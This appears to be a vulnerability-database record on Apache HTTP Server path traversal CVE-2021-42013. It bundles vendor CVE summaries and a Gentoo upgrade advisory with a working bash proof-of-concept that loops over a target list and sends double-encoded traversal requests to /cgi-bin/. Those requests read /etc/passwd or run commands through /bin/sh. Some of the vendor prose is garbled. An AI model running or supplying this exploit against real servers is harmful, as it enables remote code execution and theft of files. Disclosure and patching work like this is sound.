var-202110-1690
Vulnerability from variot

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions. This vulnerability information is reported directly to the product developer by the following person, and after coordination with the product developer, the purpose is to inform the product user. JVN It was announced at. Reporter : Internet Initiative Co., Ltd. Shugo Kumasaka Mr"" placed outside the document root by a remote third party. require all denied ” may allow unprotected files to be accessed. The server is fast, reliable and extensible through a simple API. A NULL pointer dereference was found in Apache httpd mod_h2. The highest threat from this flaw is to system integrity. (CVE-2021-33193) A NULL pointer dereference in httpd allows an unauthenticated remote malicious user to crash httpd by providing malformed HTTP requests. The highest threat from this vulnerability is to system availability. (CVE-2021-34798) An out-of-bounds read in mod_proxy_uwsgi of httpd allows a remote unauthenticated malicious user to crash the service through a crafted request. The highest threat from this vulnerability is to system availability. (CVE-2021-36160) An out-of-bounds write in function ap_escape_quotes of httpd allows an unauthenticated remote malicious user to crash the server or potentially execute code on the system with the privileges of the httpd user, by providing malicious input to the function. (CVE-2021-39275) A Server-Side Request Forgery (SSRF) flaw was found in mod_proxy of httpd. This flaw allows a remote, unauthenticated malicious user to make the httpd server forward requests to an arbitrary server. The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise. The impact of this flaw varies based on what services and resources are available on the httpd network. (CVE-2021-40438) While fuzzing the 2.4.49 httpd, a new null pointer dereference was detected during HTTP/2 request processing, allowing an external source to DoS the server. This requires a specially crafted request. The vulnerability was recently introduced in version 2.4.49. No exploit is known to the project. (CVE-2021-41524) A path transversal flaw was found in Apache 2.4.49. Additionally this flaw could leak the source of interpreted files like CGI scripts. Additionally, this flaw could leak the source of interpreted files like CGI scripts. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. This is an incomplete fix for CVE-2021-41773. (CVE-2021-42013). # Exploit: Apache HTTP Server 2.4.50 - Path Traversal & Remote Code Execution (RCE)

Date: 10/05/2021

Exploit Author: Lucas Souza https://lsass.io

Vendor Homepage: https://apache.org/

Version: 2.4.50

Tested on: 2.4.50

CVE : CVE-2021-42013

Credits: Ash Daulton and the cPanel Security Team

!/bin/bash

if [[ $1 == '' ]]; [[ $2 == '' ]]; then echo Set [TAGET-LIST.TXT] [PATH] [COMMAND] echo ./PoC.sh targets.txt /etc/passwd echo ./PoC.sh targets.txt /bin/sh id

exit fi for host in $(cat $1); do echo $host curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2"; done

PoC.sh targets.txt /etc/passwd

PoC.sh targets.txt /bin/sh whoami

. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 202208-20

                                       https://security.gentoo.org/

Severity: High Title: Apache HTTPD: Multiple Vulnerabilities Date: August 14, 2022 Bugs: #813429, #816399, #816864, #829722, #835131, #850622 ID: 202208-20

Synopsis

Multiple vulnerabilities have been discovered in Apache Webserver, the worst of which could result in remote code execution.

Affected packages

-------------------------------------------------------------------
 Package              /     Vulnerable     /            Unaffected
-------------------------------------------------------------------

1 app-admin/apache-tools < 2.4.54 >= 2.4.54 2 www-servers/apache < 2.4.54 >= 2.4.54

Description

Multiple vulnerabilities have been discovered in Apache HTTPD. Please review the CVE identifiers referenced below for details.

Impact

Please review the referenced CVE identifiers for details.

Workaround

There is no known workaround at this time.

Resolution

All Apache HTTPD users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=www-servers/apache-2.4.54"

All Apache HTTPD tools users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=app-admin/apache-tools-2.4.54"

References

[ 1 ] CVE-2021-33193 https://nvd.nist.gov/vuln/detail/CVE-2021-33193 [ 2 ] CVE-2021-34798 https://nvd.nist.gov/vuln/detail/CVE-2021-34798 [ 3 ] CVE-2021-36160 https://nvd.nist.gov/vuln/detail/CVE-2021-36160 [ 4 ] CVE-2021-39275 https://nvd.nist.gov/vuln/detail/CVE-2021-39275 [ 5 ] CVE-2021-40438 https://nvd.nist.gov/vuln/detail/CVE-2021-40438 [ 6 ] CVE-2021-41524 https://nvd.nist.gov/vuln/detail/CVE-2021-41524 [ 7 ] CVE-2021-41773 https://nvd.nist.gov/vuln/detail/CVE-2021-41773 [ 8 ] CVE-2021-42013 https://nvd.nist.gov/vuln/detail/CVE-2021-42013 [ 9 ] CVE-2021-44224 https://nvd.nist.gov/vuln/detail/CVE-2021-44224 [ 10 ] CVE-2021-44790 https://nvd.nist.gov/vuln/detail/CVE-2021-44790 [ 11 ] CVE-2022-22719 https://nvd.nist.gov/vuln/detail/CVE-2022-22719 [ 12 ] CVE-2022-22720 https://nvd.nist.gov/vuln/detail/CVE-2022-22720 [ 13 ] CVE-2022-22721 https://nvd.nist.gov/vuln/detail/CVE-2022-22721 [ 14 ] CVE-2022-23943 https://nvd.nist.gov/vuln/detail/CVE-2022-23943 [ 15 ] CVE-2022-26377 https://nvd.nist.gov/vuln/detail/CVE-2022-26377 [ 16 ] CVE-2022-28614 https://nvd.nist.gov/vuln/detail/CVE-2022-28614 [ 17 ] CVE-2022-28615 https://nvd.nist.gov/vuln/detail/CVE-2022-28615 [ 18 ] CVE-2022-29404 https://nvd.nist.gov/vuln/detail/CVE-2022-29404 [ 19 ] CVE-2022-30522 https://nvd.nist.gov/vuln/detail/CVE-2022-30522 [ 20 ] CVE-2022-30556 https://nvd.nist.gov/vuln/detail/CVE-2022-30556 [ 21 ] CVE-2022-31813 https://nvd.nist.gov/vuln/detail/CVE-2022-31813

Availability

This GLSA and any updates to it are available for viewing at the Gentoo Security Website:

https://security.gentoo.org/glsa/202208-20

Concerns?

Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.

License

Copyright 2022 Gentoo Foundation, Inc; referenced text belongs to its owner(s).

The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Show details on source website

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    "data": "It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration \"require all denied\", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions. This vulnerability information is reported directly to the product developer by the following person, and after coordination with the product developer, the purpose is to inform the product user. JVN It was announced at. Reporter : Internet Initiative Co., Ltd. Shugo Kumasaka Mr\"\" placed outside the document root by a remote third party. require all denied \u201d may allow unprotected files to be accessed. The server is fast, reliable and extensible through a simple API. A NULL pointer dereference was found in Apache httpd mod_h2. The highest threat from this flaw is to system integrity. (CVE-2021-33193)\nA NULL pointer dereference in httpd allows an unauthenticated remote malicious user to crash httpd by providing malformed HTTP requests. The highest threat from this vulnerability is to system availability. (CVE-2021-34798)\nAn out-of-bounds read in mod_proxy_uwsgi of httpd allows a remote unauthenticated malicious user to crash the service through a crafted request. The highest threat from this vulnerability is to system availability. (CVE-2021-36160)\nAn out-of-bounds write in function ap_escape_quotes of httpd allows an unauthenticated remote malicious user to crash the server or potentially execute code on the system with the privileges of the httpd user, by providing malicious input to the function. (CVE-2021-39275)\nA Server-Side Request Forgery (SSRF) flaw was found in mod_proxy of httpd. This flaw allows a remote, unauthenticated malicious user to make the httpd server forward requests to an arbitrary server. The attacker could get, modify, or delete resources on other services that may be behind a firewall and inaccessible otherwise. The impact of this flaw varies based on what services and resources are available on the httpd network. (CVE-2021-40438)\nWhile fuzzing the 2.4.49 httpd, a new null pointer dereference was detected during HTTP/2 request processing, allowing an external source to DoS the server. This requires a specially crafted request. The vulnerability was recently introduced in version 2.4.49. No exploit is known to the project. (CVE-2021-41524)\nA path transversal flaw was found in Apache 2.4.49. Additionally this flaw could leak the source of interpreted files like CGI scripts. Additionally, this flaw could leak the source of interpreted files like CGI scripts. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. This is an incomplete fix for CVE-2021-41773. (CVE-2021-42013). # Exploit: Apache HTTP Server 2.4.50 - Path Traversal \u0026 Remote Code Execution (RCE)\n# Date: 10/05/2021\n# Exploit Author: Lucas Souza https://lsass.io\n# Vendor Homepage:  https://apache.org/\n# Version: 2.4.50\n# Tested on: 2.4.50\n# CVE : CVE-2021-42013\n# Credits: Ash Daulton and the cPanel Security Team\n\n#!/bin/bash\n\nif [[ $1 == \u0027\u0027 ]]; [[ $2 == \u0027\u0027 ]]; then\necho Set [TAGET-LIST.TXT] [PATH] [COMMAND]\necho ./PoC.sh targets.txt /etc/passwd\necho ./PoC.sh targets.txt /bin/sh id\n\nexit\nfi\nfor host in $(cat $1); do\necho $host\ncurl -s --path-as-is -d \"echo Content-Type: text/plain; echo; $3\" \"$host/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/$2\"; done\n\n# PoC.sh targets.txt /etc/passwd\n# PoC.sh targets.txt /bin/sh whoami\n\n. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGentoo Linux Security Advisory                           GLSA 202208-20\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n                                           https://security.gentoo.org/\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n Severity: High\n    Title: Apache HTTPD: Multiple Vulnerabilities\n     Date: August 14, 2022\n     Bugs: #813429, #816399, #816864, #829722, #835131, #850622\n       ID: 202208-20\n\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\nSynopsis\n=======\nMultiple vulnerabilities have been discovered in Apache Webserver, the\nworst of which could result in remote code execution. \n\nAffected packages\n================\n    -------------------------------------------------------------------\n     Package              /     Vulnerable     /            Unaffected\n    -------------------------------------------------------------------\n  1  app-admin/apache-tools     \u003c 2.4.54                    \u003e= 2.4.54\n  2  www-servers/apache         \u003c 2.4.54                    \u003e= 2.4.54\n\nDescription\n==========\nMultiple vulnerabilities have been discovered in Apache HTTPD. Please\nreview the CVE identifiers referenced below for details. \n\nImpact\n=====\nPlease review the referenced CVE identifiers for details. \n\nWorkaround\n=========\nThere is no known workaround at this time. \n\nResolution\n=========\nAll Apache HTTPD users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=www-servers/apache-2.4.54\"\n\nAll Apache HTTPD tools users should upgrade to the latest version:\n\n  # emerge --sync\n  # emerge --ask --oneshot --verbose \"\u003e=app-admin/apache-tools-2.4.54\"\n\nReferences\n=========\n[ 1 ] CVE-2021-33193\n      https://nvd.nist.gov/vuln/detail/CVE-2021-33193\n[ 2 ] CVE-2021-34798\n      https://nvd.nist.gov/vuln/detail/CVE-2021-34798\n[ 3 ] CVE-2021-36160\n      https://nvd.nist.gov/vuln/detail/CVE-2021-36160\n[ 4 ] CVE-2021-39275\n      https://nvd.nist.gov/vuln/detail/CVE-2021-39275\n[ 5 ] CVE-2021-40438\n      https://nvd.nist.gov/vuln/detail/CVE-2021-40438\n[ 6 ] CVE-2021-41524\n      https://nvd.nist.gov/vuln/detail/CVE-2021-41524\n[ 7 ] CVE-2021-41773\n      https://nvd.nist.gov/vuln/detail/CVE-2021-41773\n[ 8 ] CVE-2021-42013\n      https://nvd.nist.gov/vuln/detail/CVE-2021-42013\n[ 9 ] CVE-2021-44224\n      https://nvd.nist.gov/vuln/detail/CVE-2021-44224\n[ 10 ] CVE-2021-44790\n      https://nvd.nist.gov/vuln/detail/CVE-2021-44790\n[ 11 ] CVE-2022-22719\n      https://nvd.nist.gov/vuln/detail/CVE-2022-22719\n[ 12 ] CVE-2022-22720\n      https://nvd.nist.gov/vuln/detail/CVE-2022-22720\n[ 13 ] CVE-2022-22721\n      https://nvd.nist.gov/vuln/detail/CVE-2022-22721\n[ 14 ] CVE-2022-23943\n      https://nvd.nist.gov/vuln/detail/CVE-2022-23943\n[ 15 ] CVE-2022-26377\n      https://nvd.nist.gov/vuln/detail/CVE-2022-26377\n[ 16 ] CVE-2022-28614\n      https://nvd.nist.gov/vuln/detail/CVE-2022-28614\n[ 17 ] CVE-2022-28615\n      https://nvd.nist.gov/vuln/detail/CVE-2022-28615\n[ 18 ] CVE-2022-29404\n      https://nvd.nist.gov/vuln/detail/CVE-2022-29404\n[ 19 ] CVE-2022-30522\n      https://nvd.nist.gov/vuln/detail/CVE-2022-30522\n[ 20 ] CVE-2022-30556\n      https://nvd.nist.gov/vuln/detail/CVE-2022-30556\n[ 21 ] CVE-2022-31813\n      https://nvd.nist.gov/vuln/detail/CVE-2022-31813\n\nAvailability\n===========\nThis GLSA and any updates to it are available for viewing at\nthe Gentoo Security Website:\n\n https://security.gentoo.org/glsa/202208-20\n\nConcerns?\n========\nSecurity is a primary focus of Gentoo Linux and ensuring the\nconfidentiality and security of our users\u0027 machines is of utmost\nimportance to us. Any security concerns should be addressed to\nsecurity@gentoo.org or alternatively, you may file a bug at\nhttps://bugs.gentoo.org. \n\nLicense\n======\nCopyright 2022 Gentoo Foundation, Inc; referenced text\nbelongs to its owner(s). \n\nThe contents of this document are licensed under the\nCreative Commons - Attribution / Share Alike license. \n\nhttps://creativecommons.org/licenses/by-sa/2.5\n",
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